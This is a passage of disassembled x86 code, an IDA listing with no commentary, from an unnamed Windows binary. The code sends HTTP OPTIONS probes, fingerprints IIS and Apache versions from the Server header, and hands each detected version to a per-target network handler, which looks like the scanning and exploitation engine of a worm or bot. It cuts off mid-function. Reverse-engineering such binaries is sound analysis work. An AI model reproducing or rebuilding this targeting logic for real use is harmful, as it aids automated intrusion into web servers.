loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------

loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax

loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------

loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------

loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------

loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------

loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------

loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CC64
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------

loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0

loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------

loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax

loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------

loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------

loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax

loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------

loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------

loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------

loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------

loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CC68
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EB24
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------

loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------

loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------

loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CC6C
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------

loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CC70
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EB24
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------

loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------

loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------

loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx

loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------

loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------

loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------

loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax

loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77

loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax

loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CCA8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: sub_4167F1+DAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------

loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CCF6[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CCFE[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CCFE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CCFA[eax], 0

loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CCF6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CCF6[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------

loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------

loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CCF6[eax]
		cmp	eax, dword_41CCF6[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------

loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------

loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA

loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------

loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset dword_41CD90
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset dword_41CD88
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset dword_41CD80
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------

loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------

loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------

loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------

loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------

loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx

loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------

loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------

loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax

loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
